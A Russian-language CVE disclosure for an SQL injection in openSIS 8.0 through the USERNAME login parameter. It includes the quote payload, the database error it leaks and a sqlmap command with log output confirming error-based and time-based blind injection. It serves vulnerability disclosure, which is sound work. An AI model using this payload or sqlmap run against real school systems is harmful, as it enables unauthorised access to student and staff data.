CVE-2021-40353

CVE-2021-40353 Уязвимость SQL-инъекции в openSIS 8.0 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40353

Уязвимость SQL-инъекции существует в версии 8.0 openSIS при использовании MySQL или MariaDB в качестве базы данных приложения. Злоумышленник может выполнить SQL-команду через параметр USERNAME.

Уязвимый PHP-файл:

index.php - параметр USERNAME

Уязвимая нагрузка ' - вызовет ошибку с информацией о базе данных " - не вызывает ошибку

Ошибка

Дата:

08/31/2021 03:16:22

Уведомление об ошибке:

DB Execute Failed

SQL: UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER('user1'') Трассировка: C:\xampp\htdocs\opensis\index.php at 502 Дополнительная информация: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''user1'')' at line 1 Дата:

08/31/2021 03:16:22

openSIS обнаружил ошибку, которая могла быть вызвана любым из следующих факторов:

Неверный ввод данных
Ошибка SQL базы данных
Ошибка программы

Пожалуйста, сделайте скриншот и отправьте его представителю openSIS для отладки и устранения проблемы.

sqlmap -r post_opensis -p USERNAME

[09:38:19] [INFO] POST parameter 'USERNAME' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [09:38:19] [INFO] testing 'MySQL inline queries' [09:38:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [09:38:21] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [09:38:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [09:38:46] [INFO] POST parameter 'USERNAME' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable